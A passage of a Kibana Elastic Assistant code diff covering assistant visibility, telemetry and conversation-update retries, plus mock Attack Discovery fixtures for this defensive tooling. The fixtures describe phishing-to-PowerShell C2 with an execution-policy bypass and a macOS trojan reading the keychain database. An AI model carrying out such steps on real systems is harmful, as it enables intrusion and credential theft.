'../../../../common/constants'; +import { ASSISTANT_FEATURE_ID } from '@kbn/security-solution-features/constants'; +import { useIsNavControlVisible } from '../is_nav_control_visible/use_is_nav_control_visible'; + jest.mock('../licence/use_licence'); jest.mock('../../context/typed_kibana_context/typed_kibana_context'); +jest.mock('../is_nav_control_visible/use_is_nav_control_visible'); const mockUseLicense = useLicense as jest.MockedFunction; const mockUseKibana = useKibana as jest.MockedFunction; +const mockUseIsNavControlVisible = useIsNavControlVisible as jest.MockedFunction< + typeof useIsNavControlVisible +>; describe('useAssistantAvailability', () => { beforeEach(() => { jest.resetAllMocks(); + mockUseIsNavControlVisible.mockReturnValue({ + isVisible: true, + }); }); it('returns correct values when all privileges are available', () => { @@ -47,6 +57,9 @@ describe('useAssistantAvailability', () => { }, }, }, + aiAssistantManagementSelection: { + aiAssistantManagementSelection$: jest.fn(), + }, featureFlags: { getBooleanValue: jest.fn().mockReturnValue(true), }, @@ -67,6 +80,58 @@ describe('useAssistantAvailability', () => { }); }); + it('returns correct values when all privileges are available but assistant his hidden', () => { + mockUseLicense.mockReturnValue({ + isEnterprise: jest.fn().mockReturnValue(true), + } as unknown as LicenseService); + + mockUseIsNavControlVisible.mockReturnValue({ + isVisible: false, + }); + + mockUseKibana.mockReturnValue({ + services: { + application: { + capabilities: { + [ASSISTANT_FEATURE_ID]: { + 'ai-assistant': true, + updateAIAssistantAnonymization: true, + manageGlobalKnowledgeBaseAIAssistant: true, + }, + [SECURITY_FEATURE_ID]: { + configurations: true, + }, + actions: { + show: true, + execute: true, + save: true, + delete: true, + }, + }, + }, + aiAssistantManagementSelection: { + aiAssistantManagementSelection$: jest.fn(), + }, + featureFlags: { + getBooleanValue: jest.fn().mockReturnValue(true), + }, + }, + } as unknown as ReturnType); + + const { result } = renderHook(() => useAssistantAvailability()); + + expect(result.current).toEqual({ + hasSearchAILakeConfigurations: true, + hasAssistantPrivilege: true, + hasConnectorsAllPrivilege: true, + hasConnectorsReadPrivilege: true, + isAssistantEnabled: false, + isStarterPromptsEnabled: true, + hasUpdateAIAssistantAnonymization: true, + hasManageGlobalKnowledgeBase: true, + }); + }); + it('returns correct values when no privileges are available', () => { mockUseLicense.mockReturnValue({ isEnterprise: jest.fn().mockReturnValue(false), diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.ts index 9c78ca410ef8c..f20598af543f1 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/assistant_availability/use_assistant_availability.ts @@ -6,13 +6,16 @@ */ import type { UseAssistantAvailability } from '@kbn/elastic-assistant'; -import { ASSISTANT_FEATURE_ID, SECURITY_FEATURE_ID } from '../../common/constants'; +import { ASSISTANT_FEATURE_ID } from '@kbn/security-solution-features/constants'; +import { SECURITY_FEATURE_ID } from '../../../../common/constants'; import { useKibana } from '../../context/typed_kibana_context/typed_kibana_context'; import { useLicense } from '../licence/use_licence'; +import { useIsNavControlVisible } from '../is_nav_control_visible/use_is_nav_control_visible'; export const STARTER_PROMPTS_FEATURE_FLAG = 'elasticAssistant.starterPromptsEnabled' as const; export const useAssistantAvailability = (): UseAssistantAvailability => { + const { isVisible } = useIsNavControlVisible(); const isEnterprise = useLicense().isEnterprise(); const { application: { capabilities }, @@ -44,7 +47,7 @@ export const useAssistantAvailability = (): UseAssistantAvailability => { hasConnectorsAllPrivilege, hasConnectorsReadPrivilege, isStarterPromptsEnabled, - isAssistantEnabled: isEnterprise, + isAssistantEnabled: isEnterprise && isVisible, hasUpdateAIAssistantAnonymization, hasManageGlobalKnowledgeBase, }; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.test.ts new file mode 100644 index 0000000000000..5858d8ac45323 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.test.ts @@ -0,0 +1,118 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { renderHook } from '@testing-library/react'; +import { useIsNavControlVisible } from './use_is_nav_control_visible'; +import { of } from 'rxjs'; +import { AIAssistantType } from '@kbn/ai-assistant-management-plugin/public'; +import { useKibana } from '../../context/typed_kibana_context/typed_kibana_context'; + +jest.mock('../../context/typed_kibana_context/typed_kibana_context', () => { + return { + useKibana: jest.fn(), + }; +}); + +describe('isNavControlVisible', () => { + it('returns true when the current app is security and the ai assistant type is default', () => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + currentAppId$: of('security'), + applications$: of( + new Map([ + ['security', { id: 'security', category: { id: 'securitySolution' } }], + ['observability', { id: 'observability', category: { id: 'observability' } }], + ]) + ), + }, + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + }, + }); + + const { result } = renderHook(() => useIsNavControlVisible()); + expect(result.current.isVisible).toEqual(true); + }); + + it('returns false when the current app is observability and the ai assistant type is default', () => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + currentAppId$: of('observability'), + applications$: of( + new Map([['observability', { id: 'observability', category: { id: 'observability' } }]]) + ), + }, + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Default), + }, + }, + }); + + const { result } = renderHook(() => useIsNavControlVisible()); + expect(result.current.isVisible).toEqual(false); + }); + + it('returns false when the current app is search and the ai assistant type is default', () => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + currentAppId$: of('search'), + applications$: of( + new Map([['search', { id: 'search', category: { id: 'enterpriseSearch' } }]]) + ), + }, + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Security), + }, + }, + }); + + const { result } = renderHook(() => useIsNavControlVisible()); + expect(result.current.isVisible).toEqual(false); + }); + + it('returns false when the current app is discover and the ai assistant type is security', () => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Security), + }, + }, + }); + + const { result } = renderHook(() => useIsNavControlVisible()); + expect(result.current.isVisible).toEqual(true); + }); + + it('returns false when the current app is discover and the ai assistant type is observability', () => { + (useKibana as jest.Mock).mockReturnValue({ + services: { + application: { + currentAppId$: of('discover'), + applications$: of( + new Map([['discover', { id: 'discover', category: { id: 'kibana' } }]]) + ), + }, + aiAssistantManagementSelection: { + aiAssistantType$: of(AIAssistantType.Observability), + }, + }, + }); + + const { result } = renderHook(() => useIsNavControlVisible()); + expect(result.current.isVisible).toEqual(false); + }); +}); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.ts b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.ts index b21becbefed76..42164fecff600 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/is_nav_control_visible/use_is_nav_control_visible.ts @@ -16,12 +16,20 @@ function getVisibility( applications: ReadonlyMap, preferredAssistantType: AIAssistantType ) { - // The "Global assistant" stack management setting for the security assistant still needs to be developed. - // In the meantime, while testing, show the Security assistant everywhere except in Observability. + if (preferredAssistantType === AIAssistantType.Never) { + return false; + } const categoryId = (appId && applications.get(appId)?.category?.id) || DEFAULT_APP_CATEGORIES.kibana.id; + if (preferredAssistantType === AIAssistantType.Security) { + return ( + DEFAULT_APP_CATEGORIES.observability.id !== categoryId && + DEFAULT_APP_CATEGORIES.enterpriseSearch.id !== categoryId + ); + } + return DEFAULT_APP_CATEGORIES.security.id === categoryId; } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.test.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.test.tsx index 7d544ca55936b..0e073d431ef01 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.test.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.test.tsx @@ -43,6 +43,7 @@ const trackingFns = [ { name: 'reportAssistantInvoked', eventType: AssistantEventTypes.AssistantInvoked }, { name: 'reportAssistantMessageSent', eventType: AssistantEventTypes.AssistantMessageSent }, { name: 'reportAssistantQuickPrompt', eventType: AssistantEventTypes.AssistantQuickPrompt }, + { name: 'reportAssistantStarterPrompt', eventType: AssistantEventTypes.AssistantStarterPrompt }, ]; describe('useAssistantTelemetry', () => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.tsx b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.tsx index 90ccc1d46071b..1ce2e1fa43050 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.tsx +++ b/x-pack/solutions/security/plugins/elastic_assistant/public/src/hooks/use_assistant_telemetry/index.tsx @@ -13,6 +13,7 @@ import { ReportAssistantInvokedParams, ReportAssistantMessageSentParams, ReportAssistantQuickPromptParams, + ReportAssistantStarterPromptParams, ReportAssistantSettingToggledParams, } from '../../common/lib/telemetry/events/ai_assistant/types'; @@ -45,6 +46,8 @@ export const useAssistantTelemetry = (): AssistantTelemetry => { reportTelemetry({ eventType: AssistantEventTypes.AssistantMessageSent, params }), reportAssistantQuickPrompt: (params: ReportAssistantQuickPromptParams) => reportTelemetry({ eventType: AssistantEventTypes.AssistantQuickPrompt, params }), + reportAssistantStarterPrompt: (params: ReportAssistantStarterPromptParams) => + reportTelemetry({ eventType: AssistantEventTypes.AssistantStarterPrompt, params }), reportAssistantSettingToggled: (params: ReportAssistantSettingToggledParams) => telemetry.reportEvent(AssistantEventTypes.AssistantSettingToggled, params), }), diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_find_response.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_find_response.ts new file mode 100644 index 0000000000000..a921e15ee0827 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_find_response.ts @@ -0,0 +1,131 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { AttackDiscoveryFindResponse } from '@kbn/elastic-assistant-common'; + +export const getMockAttackDiscoveryFindResponse = (): AttackDiscoveryFindResponse => ({ + connector_names: ['Claude Sonnet 3.5', 'GPT-4.1', 'GPT-4o'], + data: [ + { + alertIds: [ + '14bd5f2a3839278e467dcdd31de5d74a80315a86625f8c87917f76652132ff2e', + 'cbec85fa2f911a9711cc76d0ab4b65d327e08d1a4afab530120fd1d402834013', + 'f049cb9a261d34e037bb2abbc67eec8a99388d9fc3586d500f4e214d26699705', + '61073bf3467ada541ad6605e27021ba9abe437ce2ae958e680c9935ffd3fcbf0', + '05d7f602c6f44f7943e17e9f7a6c3b20ec5583c07f8c2ae55395b91e729e2a0a', + ], + alertRuleUuid: 'attack_discovery_ad_hoc_rule_id', + alertStart: '2025-06-27T17:06:07.163Z', + alertUpdatedAt: '2025-06-27T17:13:33.318Z', + alertWorkflowStatus: 'open', + alertWorkflowStatusUpdatedAt: '2025-06-27T17:13:33.318Z', + connectorId: 'gpt41Azure', + connectorName: 'GPT-4.1', + detailsMarkdown: + '- On {{ host.name 8f66d5b8-595e-4189-bfce-6541f81f4477 }}, user {{ user.name fb5924ec-2cfb-406d-a96d-4c2ea85fba36 }} opened a malicious Word document ({{ process.parent.name WINWORD.EXE }}) which spawned {{ process.name wscript.exe }} to execute a suspicious VBS script ({{ file.name AppPool.vbs }}).\n- The script created a scheduled task to persistently execute itself and then launched {{ process.name powershell.exe }} with obfuscated arguments ({{ process.command_line "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -exec bypass -file ... }}).\n- The PowerShell script is indicative of command-and-control activity, likely connecting to an external server for further instructions or payloads.\n- The attack chain demonstrates initial access via phishing, execution of a script via LOLBins, persistence via scheduled tasks, and C2 via PowerShell, all on {{ host.name 8f66d5b8-595e-4189-bfce-6541f81f4477 }} by {{ user.name fb5924ec-2cfb-406d-a96d-4c2ea85fba36 }}.', + entitySummaryMarkdown: + 'PowerShell C2 on {{ host.name 8f66d5b8-595e-4189-bfce-6541f81f4477 }} by {{ user.name fb5924ec-2cfb-406d-a96d-4c2ea85fba36 }}.', + generationUuid: 'bb09576f-60fb-4f05-8219-f1c796585021', + id: '4986644a9ae68ce8e51cc5c26fd0bf573a1fca0cd1c43a09fe07d93e6cc79a49', + mitreAttackTactics: [ + 'Initial Access', + 'Execution', + 'Persistence', + 'Command and Control', + 'Defense Evasion', + ], + replacements: { + '639ad56e-d94f-44de-b92b-14ab77d8c65f': 'root', + 'c07f52c5-19b2-4eec-99ca-8f802acf97e4': 'SRVMAC08', + '19931f1b-b438-41e4-b423-8c3030e81516': 'james', + '8f66d5b8-595e-4189-bfce-6541f81f4477': 'SRVWIN07', + 'fb5924ec-2cfb-406d-a96d-4c2ea85fba36': 'Administrator', + '2d3e3831-a0bc-445b-a926-effd9db5b364': 'SRVWIN06', + '2270fcd6-8451-4c78-aaa2-8f9f229b2bce': 'SRVNIX05', + '5e5442b3-fe79-4625-bfe0-9a53641a707f': 'SRVWIN04', + '10d4f764-55f4-4d30-b024-2b725285f03e': 'SRVWIN03', + '6ff109ee-17f0-48df-b799-3847bf426dca': 'SRVWIN02', + 'ec003e6b-7dd1-4905-8523-ce42525381da': 'SRVWIN01', + }, + riskScore: 495, + summaryMarkdown: + 'Office phishing led to persistent PowerShell C2 on {{ host.name 8f66d5b8-595e-4189-bfce-6541f81f4477 }} by {{ user.name fb5924ec-2cfb-406d-a96d-4c2ea85fba36 }}.', + timestamp: '2025-06-27T17:06:07.163Z', + title: 'Office phishing to PowerShell C2', + userId: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + userName: 'elastic', + users: [ + { + id: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + name: 'elastic', + }, + ], + }, + { + alertIds: [ + '62779b19c70bc8c86809812f9787ef284117c87b50292c549b66d0dcb8a24834', + 'd8f622898b24c263fd0b0cfe0057ce4a3ca68931aa4753ecc8ecfc33909a754e', + 'e25cede2ca5bfb0480f29a2dae221d9ff29053a37466719dfdc6b97303ebf49b', + '4b08dc0a7c2e68d4fb8eb7cb42bd75f6e1a313fae4923ef598710bab517b8ee5', + '780e4b92328d90d24f89ad1a301e2b8dcfc101858c77d252e2bfdb60eb7d9b96', + '7c3a173e6dd973af06b26eac30423167a51259d6ef816095157e524683e8e6a0', + '91f8bf7df177cb3aeee0909335c12a683aee459e00fc5fd9074b454c24d6f09c', + 'dc109d0fc3d25fc9bdb179575d91996b5129770c8eb31511ce63c1564575272a', + ], + alertRuleUuid: 'attack_discovery_ad_hoc_rule_id', + alertStart: '2025-06-27T17:06:07.163Z', + alertUpdatedAt: '2025-06-27T17:13:33.318Z', + alertWorkflowStatus: 'open', + alertWorkflowStatusUpdatedAt: '2025-06-27T17:13:33.318Z', + connectorId: 'gpt41Azure', + connectorName: 'GPT-4.1', + detailsMarkdown: + "- On {{ host.name c07f52c5-19b2-4eec-99ca-8f802acf97e4 }}, user {{ user.name 19931f1b-b438-41e4-b423-8c3030e81516 }} was targeted by a phishing attack using a trojanized application ({{ file.name My Go Application.app }}) with a failed code signature ({{ process.code_signature.trusted false }}).\n- The application spawned {{ process.name osascript }} to display a fake password prompt ({{ process.args osascript -e display dialog ... }}), attempting to phish credentials.\n- The malware then used {{ process.name chmod }} to make a new binary ({{ file.name unix1 }}) executable, which was subsequently executed with arguments targeting the user's keychain database ({{ process.command_line /Users/james/unix1 /Users/james/library/Keychains/login.keychain-db ... }}), indicating credential theft.\n- The attack chain shows initial access via a trojanized app, credential phishing, privilege escalation, and credential exfiltration, all on {{ host.name c07f52c5-19b2-4eec-99ca-8f802acf97e4 }} by {{ user.name 19931f1b-b438-41e4-b423-8c3030e81516 }}.", + entitySummaryMarkdown: + 'macOS credential theft on {{ host.name c07f52c5-19b2-4eec-99ca-8f802acf97e4 }} by {{ user.name 19931f1b-b438-41e4-b423-8c3030e81516 }}.', + generationUuid: 'bb09576f-60fb-4f05-8219-f1c796585021', + id: '457623feab9f1023520e7660a747fbdad98087e2074de9464ba8cf6ed72017a6', + mitreAttackTactics: [ + 'Initial Access', + 'Execution', + 'Credential Access', + 'Persistence', + 'Defense Evasion', + ], + replacements: { + '639ad56e-d94f-44de-b92b-14ab77d8c65f': 'root', + 'c07f52c5-19b2-4eec-99ca-8f802acf97e4': 'SRVMAC08', + '19931f1b-b438-41e4-b423-8c3030e81516': 'james', + '8f66d5b8-595e-4189-bfce-6541f81f4477': 'SRVWIN07', + 'fb5924ec-2cfb-406d-a96d-4c2ea85fba36': 'Administrator', + '2d3e3831-a0bc-445b-a926-effd9db5b364': 'SRVWIN06', + '2270fcd6-8451-4c78-aaa2-8f9f229b2bce': 'SRVNIX05', + '5e5442b3-fe79-4625-bfe0-9a53641a707f': 'SRVWIN04', + '10d4f764-55f4-4d30-b024-2b725285f03e': 'SRVWIN03', + '6ff109ee-17f0-48df-b799-3847bf426dca': 'SRVWIN02', + 'ec003e6b-7dd1-4905-8523-ce42525381da': 'SRVWIN01', + }, + riskScore: 792, + summaryMarkdown: + 'macOS phishing app led to credential theft on {{ host.name c07f52c5-19b2-4eec-99ca-8f802acf97e4 }} by {{ user.name 19931f1b-b438-41e4-b423-8c3030e81516 }}.', + timestamp: '2025-06-27T17:06:07.163Z', + title: 'macOS phishing to credential theft', + userId: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + userName: 'elastic', + users: [ + { + id: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + name: 'elastic', + }, + ], + }, + ], + page: 1, + per_page: 10, + total: 2, + unique_alert_ids_count: 13, +}); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_generations_response.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_generations_response.ts new file mode 100644 index 0000000000000..c25148e3e79a1 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/attack_discovery_generations_response.ts @@ -0,0 +1,50 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { GetAttackDiscoveryGenerationsResponse } from '@kbn/elastic-assistant-common'; + +export const getMockAttackDiscoveryGenerationsResponse = + (): GetAttackDiscoveryGenerationsResponse => ({ + generations: [ + { + connector_id: 'claudeV3Haiku', + discoveries: 0, + end: '2025-06-26T21:23:04.604Z', + loading_message: + 'AI is analyzing up to 100 alerts in the last 24 hours to generate discoveries.', + execution_uuid: 'f29f3d04-14da-4660-8ac1-a6c95f618a7e', + reason: + 'Maximum hallucination failures (5) reached. Try sending fewer alerts to this model.\n', + start: '2025-06-26T21:19:06.317Z', + status: 'failed', + }, + { + alerts_context_count: 75, + connector_id: 'gpt41Azure', + discoveries: 2, + end: '2025-06-26T21:20:01.248Z', + loading_message: + 'AI is analyzing up to 100 alerts in the last 24 hours to generate discoveries.', + execution_uuid: 'a8e12578-d1a0-4d78-8d56-9bb7802223be', + start: '2025-06-26T21:18:54.254Z', + status: 'succeeded', + connector_stats: { + average_successful_duration_nanoseconds: 66994000000, + successful_generations: 1, + }, + }, + { + connector_id: 'claudeSonnet_40', + discoveries: 0, + loading_message: + 'AI is analyzing up to 100 alerts in the last 24 hours to generate discoveries.', + execution_uuid: 'dd96c116-e8d0-4a1f-91e5-486c9fc3e455', + start: '2025-06-26T21:18:45.182Z', + status: 'started', + }, + ], + }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/request_context.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/request_context.ts index d66c90ff94ceb..50dfe085aaa8d 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/request_context.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/request_context.ts @@ -77,7 +77,7 @@ export const createMockClients = () => { type MockClients = ReturnType; export type ElasticAssistantRequestHandlerContextMock = MockedKeys< - AwaitedProperties> + AwaitedProperties > & { core: MockClients['core']; }; @@ -94,6 +94,7 @@ const createRequestContextMock = ( core: clients.core, elasticAssistant: createElasticAssistantRequestContextMock(clients), licensing: licensingMock.createRequestHandlerContext({ license }), + resolve: jest.fn(), }; }; @@ -171,6 +172,7 @@ const createElasticAssistantRequestContextMock = ( core: clients.core, savedObjectsClient: clients.elasticAssistant.savedObjectsClient, telemetry: clients.elasticAssistant.telemetry, + checkPrivileges: jest.fn(), }; }; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/test_adapters.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/test_adapters.ts index 7b163138c3c2c..4d61639cbacce 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/test_adapters.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/__mocks__/test_adapters.ts @@ -45,6 +45,8 @@ const buildResponses = (method: Method, calls: MockCall[]): ResponseCall[] => { })); case 'notFound': return calls.map(() => ({ status: 404, body: undefined })); + case 'forbidden': + return calls.map(([call]) => ({ status: 403, body: call.body })); default: throw new Error(`Encountered unexpected call to response.${method}`); } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/append_conversation_messages.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/append_conversation_messages.ts index 48b64764ccf85..87671b97a7be9 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/append_conversation_messages.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/append_conversation_messages.ts @@ -31,67 +31,97 @@ export const appendConversationMessages = async ({ ...(existingConversation.messages ?? []), ...messages, ]); - try { - const response = await esClient.updateByQuery({ - conflicts: 'proceed', - index: conversationIndex, - query: { - ids: { - values: [existingConversation.id ?? ''], - }, - }, - refresh: true, - script: { - lang: 'painless', - params: { - ...params, + + const maxRetries = 3; + let attempt = 0; + let response; + while (attempt < maxRetries) { + try { + response = await esClient.updateByQuery({ + conflicts: 'proceed', + index: conversationIndex, + query: { + ids: { + values: [existingConversation.id ?? ''], + }, }, - source: ` - if (params.assignEmpty == true || params.containsKey('messages')) { - def messages = []; - for (message in params.messages) { - def newMessage = [:]; - newMessage['@timestamp'] = message['@timestamp']; - newMessage.content = message.content; - newMessage.is_error = message.is_error; - newMessage.reader = message.reader; - newMessage.role = message.role; - if (message.trace_data != null) { - newMessage.trace_data = message.trace_data; + refresh: true, + script: { + lang: 'painless', + params: { + ...params, + }, + source: ` + if (params.assignEmpty == true || params.containsKey('messages')) { + def messages = []; + for (message in params.messages) { + def newMessage = [:]; + newMessage['@timestamp'] = message['@timestamp']; + newMessage.content = message.content; + newMessage.is_error = message.is_error; + newMessage.reader = message.reader; + newMessage.role = message.role; + if (message.trace_data != null) { + newMessage.trace_data = message.trace_data; + } + if (message.metadata != null) { + newMessage.metadata = message.metadata; + } + messages.add(newMessage); } - if (message.metadata != null) { - newMessage.metadata = message.metadata; - } - messages.add(newMessage); + ctx._source.messages = messages; } - ctx._source.messages = messages; - } - ctx._source.updated_at = params.updated_at; - `, - }, - }); - if (response.failures && response.failures.length > 0) { + ctx._source.updated_at = params.updated_at; + `, + }, + }); + if ( + (response?.updated && response?.updated > 0) || + (response?.failures && response?.failures.length > 0) + ) { + break; + } + if ( + response?.version_conflicts && + response?.version_conflicts > 0 && + response?.updated === 0 + ) { + attempt++; + if (attempt < maxRetries) { + logger.warn( + `Version conflict detected, retrying appendConversationMessages (attempt ${ + attempt + 1 + }) for conversation ID: ${existingConversation.id}` + ); + await new Promise((resolve) => setTimeout(resolve, 100 * attempt)); // Exponential backoff + } + } else { + break; + } + } catch (err) { logger.error( - `Error appending conversation messages: ${response.failures.map( - (f) => f.id - )} for conversation by ID: ${existingConversation.id}` + `Error appending conversation messages: ${err} for conversation by ID: ${existingConversation.id}` ); - return null; + throw err; } + } - const updatedConversation = await getConversation({ - esClient, - conversationIndex, - id: existingConversation.id, - logger, - }); - return updatedConversation; - } catch (err) { + if (response && response?.failures && response?.failures.length > 0) { logger.error( - `Error appending conversation messages: ${err} for conversation by ID: ${existingConversation.id}` + `Error appending conversation messages: ${response?.failures.map( + (f) => f.id + )} for conversation by ID: ${existingConversation.id}` ); - throw err; + return null; } + + const updatedConversation = await getConversation({ + esClient, + conversationIndex, + id: existingConversation.id, + logger, + }); + return updatedConversation; }; export const transformToUpdateScheme = (updatedAt: string, messages: Message[]) => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/update_conversation.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/update_conversation.ts index 5da992e1de283..2d1aa0acfc4a9 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/update_conversation.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/conversations/update_conversation.ts @@ -71,38 +71,66 @@ export const updateConversation = async ({ const updatedAt = new Date().toISOString(); const params = transformToUpdateScheme(updatedAt, conversationUpdateProps); - try { - const response = await esClient.updateByQuery({ - conflicts: 'proceed', - index: conversationIndex, - query: { - ids: { - values: [params.id], + const maxRetries = 3; + let attempt = 0; + let response; + while (attempt < maxRetries) { + try { + response = await esClient.updateByQuery({ + conflicts: 'proceed', + index: conversationIndex, + query: { + ids: { + values: [params.id], + }, }, - }, - refresh: true, - script: getUpdateScript({ conversation: params, isPatch }).script, - }); - - if (response.failures && response.failures.length > 0) { - logger.warn( - `Error updating conversation: ${response.failures.map((f) => f.id)} by ID: ${params.id}` - ); - return null; + refresh: true, + script: getUpdateScript({ conversation: params, isPatch }).script, + }); + if ( + (response?.updated && response?.updated > 0) || + (response?.failures && response?.failures.length > 0) + ) { + break; + } + if ( + response?.version_conflicts && + response?.version_conflicts > 0 && + response?.updated === 0 + ) { + attempt++; + if (attempt < maxRetries) { + logger.warn( + `Version conflict detected, retrying updateConversation (attempt ${ + attempt + 1 + }) for conversation ID: ${params.id}` + ); + await new Promise((resolve) => setTimeout(resolve, 100 * attempt)); + } + } else { + break; + } + } catch (err) { + logger.warn(`Error updating conversation: ${err} by ID: ${params.id}`); + throw err; } + } - const updatedConversation = await getConversation({ - esClient, - conversationIndex, - id: params.id, - logger, - user, - }); - return updatedConversation; - } catch (err) { - logger.warn(`Error updating conversation: ${err} by ID: ${params.id}`); - throw err; + if (response && response?.failures && response?.failures.length > 0) { + logger.warn( + `Error updating conversation: ${response?.failures.map((f) => f.id)} by ID: ${params.id}` + ); + return null; } + + const updatedConversation = await getConversation({ + esClient, + conversationIndex, + id: params.id, + logger, + user, + }); + return updatedConversation; }; export const transformToUpdateScheme = ( diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/index.ts index 250b77d8126f2..fc02b05af3360 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/index.ts @@ -100,7 +100,6 @@ export class AIAssistantDataClient { sortOrder, filter, fields, - index, aggs, mSearch, }: { @@ -110,7 +109,6 @@ export class AIAssistantDataClient { sortOrder?: string; filter?: string; fields?: string[]; - index?: string; aggs?: Record; mSearch?: { filter: string; @@ -125,7 +123,7 @@ export class AIAssistantDataClient { perPage, filter, sortField, - index: index ?? this.indexTemplateAndPattern.alias, + index: this.indexTemplateAndPattern.alias, sortOrder: sortOrder as estypes.SortOrder, logger: this.options.logger, aggs, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/field_maps_configuration.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/field_maps_configuration.ts index f8fd88b113bf4..1a075202cf3cd 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/field_maps_configuration.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/field_maps_configuration.ts @@ -7,7 +7,6 @@ import { FieldMap } from '@kbn/data-stream-adapter'; export const ASSISTANT_ELSER_INFERENCE_ID = 'elastic-security-ai-assistant-elser2'; -export const ELASTICSEARCH_ELSER_INFERENCE_ID = '.elser-2-elasticsearch'; export const knowledgeBaseFieldMap: FieldMap = { // Base fields diff --git 